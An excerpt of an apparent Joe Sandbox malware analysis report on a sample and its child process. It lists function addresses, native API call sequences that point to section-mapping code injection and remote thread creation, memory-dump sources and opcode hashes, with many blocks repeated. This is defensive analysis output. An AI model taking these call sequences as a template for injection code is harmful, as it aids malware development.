NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000000.00000002.1798634180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bCnarg2O62.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2b177f7e9ccc32c3765a626e79a5c8eb6b5311b77b213a5c8649f7db25de2716
Instruction ID: 759091ef041ca07c69b7a79068e02688b6544eb302bab9b440b0429bbb41aca5
Opcode Fuzzy Hash: 2b177f7e9ccc32c3765a626e79a5c8eb6b5311b77b213a5c8649f7db25de2716
Instruction Fuzzy Hash: E85119B1900249BFEB209F91CC48FAF7BB8EF85B10F144169F911BA2A5D6749941CB24

Function 00401549 Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000000.00000002.1798634180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bCnarg2O62.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2c5afbad373231fc2fe72851e77a16272d6e8026ab94bc2156a59f1271be232c
Instruction ID: 7a8a064d68380c64131d995910f5c092f0e660b32494b1024d3e535184c76cf3
Opcode Fuzzy Hash: 2c5afbad373231fc2fe72851e77a16272d6e8026ab94bc2156a59f1271be232c
Instruction Fuzzy Hash: 78510875900249BFEF209F91CC48FAFBBB8FF86B10F144159F911AA2A5E6709940CB24

Function 00401557 Relevance: 10.7, APIs: 7, Instructions: 162
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000000.00000002.1798634180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bCnarg2O62.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2a6c5c204d9128e257f6824072ce96b4ac123ccef225123859878a505f2b6fa6
Instruction ID: 25abb30e6883f9026caabbb74ebb32c420b3dbd3b7f631cb87a4d5ab1caa8f11
Opcode Fuzzy Hash: 2a6c5c204d9128e257f6824072ce96b4ac123ccef225123859878a505f2b6fa6
Instruction Fuzzy Hash: C75118B5900209BFEF209F91CC48FAFBBB8FF85B10F144169F911BA2A5D6709940CB24

Function 00402F97 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 004030CB
NtTerminateProcess.NTDLL ref: 004030E4

Memory Dump Source

Source File: 00000000.00000002.1798634180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bCnarg2O62.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction ID: 1591ba869369ea84e79847af2efd18b9bf5795e6c00b1d775a4c0b4e714efbc4
Opcode Fuzzy Hash: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction Fuzzy Hash: FD414531218E0C4FD7A8EF6CA88576277D5F798311F6643AAE809D3389EA74DC1183C5

Function 005BF894 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 005BF8BC
Module32First.KERNEL32(00000000,00000224), ref: 005BF8DC

Memory Dump Source

Source File: 00000000.00000002.1799360788.00000000005AD000.00000040.00000020.00020000.00000000.sdmp, Offset: 005AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ad000_bCnarg2O62.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 6079205c447e79ef567868ad405e0f1641738a7531b1fe71b9cbbbc6123e8e32
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 0BF062361007116BE7203AB9AC8DBAA7AE8BF49725F100538F646910C0DB70FC454761

Function 0052003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0052024D

Strings

cess, xrefs: 0052018D
kernel32.dll, xrefs: 0052008F, 00520095

Memory Dump Source

Source File: 00000000.00000002.1799052498.0000000000520000.00000040.00001000.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_bCnarg2O62.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 919b4ee4c9051b2d158f225995026eaa3ecd924755c0c65d7b99845caff89d7f
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 4C526A75A01229DFDB64CF58D984BA8BBB1BF09304F1480D9E54DAB392DB30AE85DF14

Function 00520E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00520223,?,?), ref: 00520E19
SetErrorMode.KERNELBASE(00000000,?,?,00520223,?,?), ref: 00520E1E

Memory Dump Source

Source File: 00000000.00000002.1799052498.0000000000520000.00000040.00001000.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_bCnarg2O62.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: a764e639832798b8d740d17924903a9f0c649362d611a0acc80e9a5e0a88a39a
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 75D0123114512877D7002A94DC09BCD7F1CDF05B62F008411FB0DD90C1C770994046E5

Function 004018E6 Relevance: 1.3, APIs: 1, Instructions: 63
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.1798634180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bCnarg2O62.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: a4b5604c3fad4e3a9f3f792e8fb47035b06f8c3694b385928224ebe720cba1b7
Instruction ID: 08a90aa29aaa59261053d8f0d19a3ecdc4dd21bf61fce8c4d66a51d0c793aa75
Opcode Fuzzy Hash: a4b5604c3fad4e3a9f3f792e8fb47035b06f8c3694b385928224ebe720cba1b7
Instruction Fuzzy Hash: EB11A1F660C204FAEB106AA49C61E7A3318AB40754F304137F613790F5957D9A13F66F

Function 00401915 Relevance: 1.3, APIs: 1, Instructions: 59
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.1798634180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bCnarg2O62.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 7bb1df720b8f813faa3697c6259eeb6b3a5716e5c382bc39f4698e2c5426f3b5
Instruction ID: d2c64d108ecd7190b789ce3c9d4f03e3911909dfd4099b6475a4add21270c3a3
Opcode Fuzzy Hash: 7bb1df720b8f813faa3697c6259eeb6b3a5716e5c382bc39f4698e2c5426f3b5
Instruction Fuzzy Hash: 6D019EB7208208E6DB006AA5AC51ABA33189B44359F304537F723790F6D57D8612E72F

Function 004018F1 Relevance: 1.3, APIs: 1, Instructions: 55
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.1798634180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bCnarg2O62.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: db3408315eb658ba3491db04f2d46bddbd6b336d8c43cf969156009dde905ade
Instruction ID: b5ca90d31d4069b8fd1e735589466699ca1bb5e14181e618ca72d4e2f39bbf06
Opcode Fuzzy Hash: db3408315eb658ba3491db04f2d46bddbd6b336d8c43cf969156009dde905ade
Instruction Fuzzy Hash: D101D2B6608204EBDB019AF49C62A7A37549F44315F200137FA53790F1D67D8643E72F

Function 00401912 Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.1798634180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bCnarg2O62.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 7e129187160df36b360d42079074bb08fe8934bb284168352239ee73acaefb28
Instruction ID: 0621b20c29367ada74e4c9127c9a5516285bec5e68af8f441e6b7f153e3f788d
Opcode Fuzzy Hash: 7e129187160df36b360d42079074bb08fe8934bb284168352239ee73acaefb28
Instruction Fuzzy Hash: 11017CB560C204EAEB109AA49C61A7A3318AB44354F304537FA27790F5D67D9612E72F

Function 005BF553 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 005BF5A4

Memory Dump Source

Source File: 00000000.00000002.1799360788.00000000005AD000.00000040.00000020.00020000.00000000.sdmp, Offset: 005AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ad000_bCnarg2O62.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: c81399c4d0b82392261faedf3bf2c20f23df24a0a6ab6db2b57ea154ffcf0f14
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: EE112B79A00208EFDB01DF98C989E98BFF5AF08750F0580A4F9489B362D771EA50DB90

Function 00401925 Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.1798634180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bCnarg2O62.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 2f4c2daa00eb47e2555f44135ed694f04ab08e7709eb0f7e86441ab925b63f7c
Instruction ID: ea6e3854d66af35421fcd7571e0742f45a6e64d38424a4e1b6315f5079e28d0a
Opcode Fuzzy Hash: 2f4c2daa00eb47e2555f44135ed694f04ab08e7709eb0f7e86441ab925b63f7c
Instruction Fuzzy Hash: 28F08CB6208204EADB00AEA49C61EBA3318AB44314F304533FB23790F5C67D8612E72F

Non-executed Functions

Function 0052092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

l, xrefs: 00520966
., xrefs: 0052095F
GetProcAddress., xrefs: 005209DC, 005209DF, 005209E4

Memory Dump Source

Source File: 00000000.00000002.1799052498.0000000000520000.00000040.00001000.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_bCnarg2O62.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 68369359295f17e5ff9a65917e847dcbda5c0b0d64a202c2997f0c44be603e7e
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 6931ADB2901219CFDB10CF88D880AAEBBF5FF49324F24504AD401A7392C370EA85CFA4

Function 005BF171 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1799360788.00000000005AD000.00000040.00000020.00020000.00000000.sdmp, Offset: 005AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ad000_bCnarg2O62.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 2bc78050264947433b0369b86a53f78e783cfa48db76fce7e65d11ee7e7818d7
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 58117972340100EFDB54DE59DC91EE677EAFB88320B298465ED09CB316E675EC02C760

Function 00403277 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1798634180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bCnarg2O62.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d637f55854845c17b2ef1889abfa65daee778aef84c81fe99ca145d77efb4ab1
Instruction ID: 8df8bbe6331efc2743c071309605838865bd09ee4bc9229f5037613db63a7100
Opcode Fuzzy Hash: d637f55854845c17b2ef1889abfa65daee778aef84c81fe99ca145d77efb4ab1
Instruction Fuzzy Hash: 3CF0F0A1E2E243AFCA0A1E34A916532AF1C751632372401FFA083752C2E23D0B17619F

Function 00520D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1799052498.0000000000520000.00000040.00001000.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_bCnarg2O62.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: f28657fdea962ab7d7c068d02efbe15b077ffee6a47d8b9873907585d2d5aae2
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: DB01F7766026108FDF21DF60E804BAB37F9FF87305F0544A4D506972C3E370A8418B80

Function 0040324F Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1798634180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bCnarg2O62.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e697f2bdb2541e438c090e00759e651186a60c26cca26bbac42aeca89057f02
Instruction ID: 9241026e722b7dd7cbe781a55eac82938fa1721c21c2f19ebd5655df2a8ce19b
Opcode Fuzzy Hash: 2e697f2bdb2541e438c090e00759e651186a60c26cca26bbac42aeca89057f02
Instruction Fuzzy Hash: 90F024A191E281DBCA0E1E2858169327F1C7A5230733405FF9093762C2E13D8B02619F

Function 00403256 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1798634180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bCnarg2O62.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffb84ad0bafd287640d5e2703f1f7dee9546aae40f50b635da61e00f6775f880
Instruction ID: 0b233a05c36d383cd3dc693d5d52553799fa9f094e89171df70cdd77f1a33a14
Opcode Fuzzy Hash: ffb84ad0bafd287640d5e2703f1f7dee9546aae40f50b635da61e00f6775f880
Instruction Fuzzy Hash: 5CF027A1E6E202ABCA0E1E20AD165727F4D651132372401FFA053B63C1E17D4B07619F

Function 00403247 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1798634180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bCnarg2O62.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 675dd5adc9fa045870a710e44379b64774d26f731239f7a86ac84ccf831d603a
Instruction ID: 61f4eeca6a5bdba97633f9ce55ed0ebe4cfc5c7823726c26b0d716f95b27c2a1
Opcode Fuzzy Hash: 675dd5adc9fa045870a710e44379b64774d26f731239f7a86ac84ccf831d603a
Instruction Fuzzy Hash: 1EF027A191E242DBCA0D2E246D158322F4C295530733401FF9053B92C2E03E8B07619F

Function 0040326C Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1798634180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bCnarg2O62.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7491e8d205a9a81a512842342f84d5d05ba67224b994174453f1348fb0568999
Instruction ID: 50319dc6f67c7bb301174255112627998741b5b21f267b3f7f348d4aa007f6d0
Opcode Fuzzy Hash: 7491e8d205a9a81a512842342f84d5d05ba67224b994174453f1348fb0568999
Instruction Fuzzy Hash: A5E068A2D2E2029BCA1E1E206D464333F4C625630B72001FF9053B92C1F03E4B0661DF

Function 00403290 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1798634180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bCnarg2O62.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4880d3875d1ad92a9fbe5811d46a77b3d6ce579c17d5e0502d0cbfecac410ff8
Instruction ID: 65af031b81eeafed772fbc50416c1b4fdc84f259fd59d49ecec168145e9dac47
Opcode Fuzzy Hash: 4880d3875d1ad92a9fbe5811d46a77b3d6ce579c17d5e0502d0cbfecac410ff8
Instruction Fuzzy Hash: 3EE0ED92E6E2854BCAA52E30980A1623F5C69A331A32480FFA002A52D2F03E0F05815B

Analysis Process: derhswePID: 2412, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	8.7%
Dynamic/Decrypted Code Coverage:	40.7%
Signature Coverage:	0%
Total number of Nodes:	118
Total number of Limit Nodes:	4

Executed Functions

Function 00401514 Relevance: 10.7, APIs: 7, Instructions: 201
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000005.00000002.2044709796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_derhswe.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 030196af5c35925124d1a5e0ae71aae975fd3bc268d3cb8e752286d8b76e3a9f
Instruction ID: b77a8bcfde574781322ebaec397cd5e92af5eb717990e6e7793f83a32abcc97b
Opcode Fuzzy Hash: 030196af5c35925124d1a5e0ae71aae975fd3bc268d3cb8e752286d8b76e3a9f
Instruction Fuzzy Hash: 24615E71900244FBEB209F95CC49FAF7BB8EF85700F20412AF912BA1E5D6749A01DB69

Function 004014FE Relevance: 10.7, APIs: 7, Instructions: 180
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000005.00000002.2044709796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_derhswe.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: 797714e4bcca61813209f29cc723c8138b20262a6c787ca69d6a1213da408676
Instruction ID: 0ec8d6d4108695f7377ece7931361284e20275783593a2318d747dbe857377b0
Opcode Fuzzy Hash: 797714e4bcca61813209f29cc723c8138b20262a6c787ca69d6a1213da408676
Instruction Fuzzy Hash: 6A5129B5900209BFEB209F95CC48FEF7BB9EF85710F14412AF912BA2A5D6749901CB24

Function 00401542 Relevance: 10.7, APIs: 7, Instructions: 167
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000005.00000002.2044709796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_derhswe.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2b177f7e9ccc32c3765a626e79a5c8eb6b5311b77b213a5c8649f7db25de2716
Instruction ID: 759091ef041ca07c69b7a79068e02688b6544eb302bab9b440b0429bbb41aca5
Opcode Fuzzy Hash: 2b177f7e9ccc32c3765a626e79a5c8eb6b5311b77b213a5c8649f7db25de2716
Instruction Fuzzy Hash: E85119B1900249BFEB209F91CC48FAF7BB8EF85B10F144169F911BA2A5D6749941CB24

Function 00401549 Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
